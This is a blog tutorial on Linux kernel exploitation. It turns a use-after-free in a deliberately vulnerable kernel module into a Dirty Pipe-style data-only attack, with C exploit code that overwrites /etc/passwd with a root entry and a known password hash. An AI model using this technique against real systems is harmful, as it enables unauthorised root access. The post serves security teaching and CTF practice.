Post

Linux Kernel Exploitation - Dirty Pipe

Linux Kernel Exploitation - Dirty Pipe

In this post, I will explain Dirty Pipe, a universal and data-only exploitation technique that allows us to arbitrarily overwrite read-only files. Download the handouts beforehand.

Analysis

The vulnerable LKM provides four commands: CMD_ALLOC, CMD_READ, CMD_WRITE, and CMD_FREE. These commands are used to allocate, read from, write to, and free an object defined as follows:

1
2
3
4
5
#define OBJ_SIZE    0x400

struct obj {
    char buf[OBJ_SIZE];
};

Note that obj_alloc internally uses kzalloc with the GFP_KERNEL flag. This means the object will be allocated from kmalloc-1k:

1
2
3
4
5
6
7
8
9
10
static long obj_alloc(void) {
    if (obj != NULL) {
        return -1;
    }
    obj = kzalloc(sizeof(struct obj), GFP_KERNEL);
    if (obj == NULL) {
        return -1;
    }
    return 0;
}

Bugs

In obj_free, obj, which is a reference to a freed memory region, is not cleared:

1
2
3
4
static long obj_free(void) {
    kfree(obj);
    return 0;
}

This results in an obvious UAF. Since we already have read and write primitives, it is not difficult to control RIP and escalate privileges. However, in this post, we take a data-only approach using Dirty Pipe. Data-only attacks are increasingly important in the current era (due to CONFIG_CFI_CLANG) and are widely used in real-world kernel exploits.

Dirty Pipe

The essence of Dirty Pipe is that when splicing a read-only file to a pipe, the flags field in the corresponding struct pipe_buffer can be set to PIPE_BUF_FLAG_CAN_MERGE, which enables arbitrary overwrites of the read-only file by writing to the pipe. In the original bug (now patched), this was possible because the flags field was left uninitialized. However, in our case, we have a UAF primitive, and since CONFIG_MEMCG is disabled, the array of struct pipe_buffer is also allocated from kmalloc-1k in alloc_pipe_info:

1
2
3
4
5
6
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L815-L816
struct pipe_inode_info *alloc_pipe_info(void)
{
    ...
    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
                 GFP_KERNEL_ACCOUNT);

This allows us to recreate the same situation by overwriting the flags field. This method is called the pipe primitive.

Exploitation

First, we allocate and free the victim object:

1
2
3
4
5
puts("[*] Allocating a victim object from kmalloc-1k");
obj_alloc();

puts("[*] Freeing the victim object");
obj_free();

Next, we allocate an array of struct pipe_buffer and overlap it with the freed victim object:

1
2
3
puts("[*] Allocating pipe buffers to reclaim the memory");
int pipefd[2];
assert(pipe(pipefd) != -1);

Next, splice /etc/passwd to the pipe:

1
2
3
4
int filefd = open("/etc/passwd", O_RDONLY);
assert(filefd != -1);
long offset = 0;
assert(splice(filefd, &offset, pipefd[1], NULL, 1, 0) != -1);

Note that we need to splice at least one byte because of the check in do_splice_read:

1
2
3
4
5
6
7
8
// https://elixir.bootlin.com/linux/v6.13/source/fs/splice.c#L967-L968
static ssize_t do_splice_read(struct file *in, loff_t *ppos,
                  struct pipe_inode_info *pipe, size_t len,
                  unsigned int flags)
{
    ...
    if (!len)
        return 0;

Next,we leak the contents of the struct pipe_buffer and overwrite its flags member with PIPE_BUF_FLAG_CAN_MERGE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
puts("[*] Leaking the contents of pipe->bufs[0]");
struct pipe_buffer fake_pipe_buffer;
obj_read((char *)&fake_pipe_buffer, sizeof(fake_pipe_buffer));
printf(
    "[+] .page = %p, .offset = %#x, .len = %#x, .ops = %p, .flags = %#x, .private = %#lx\n", 
    fake_pipe_buffer.page,
    fake_pipe_buffer.offset,
    fake_pipe_buffer.len,
    fake_pipe_buffer.ops,
    fake_pipe_buffer.flags,
    fake_pipe_buffer.private
);

puts("[*] Overwriting .len with 0 and .flags with PIPE_BUF_FLAG_CAN_MERGE");
fake_pipe_buffer.len = 0;
fake_pipe_buffer.flags = PIPE_BUF_FLAG_CAN_MERGE;
obj_write((char *)&fake_pipe_buffer, sizeof(fake_pipe_buffer));

Note that we also overwrite len member to be 0 because the data will be written from offset + len in pipe_write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L477-L485
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
    ...
        int offset = buf->offset + buf->len;

        if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
            offset + chars <= PAGE_SIZE) {
            ret = pipe_buf_confirm(pipe, buf);
            if (ret)
                goto out;

            ret = copy_page_from_iter(buf->page, offset, chars, from);

Finally, we overwrite /etc/passwd (j9ep0CjBGivAnD5z6l5rr0 is MD5-encoded password with salt deadbeef):

1
2
3
char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/sh";
printf("[*] Overwriting /etc/passwd with %s\n", payload);
assert(write(pipefd[1], payload, sizeof(payload)) != -1);

By running this exploit, we can log in as a root user and see the flag:

win

References

  1. Max Kellermann. 2022. The Dirty Pipe Vulnerability. https://dirtypipe.cm4all.com/
This post is licensed under CC BY 4.0 by the author.

Trending Tags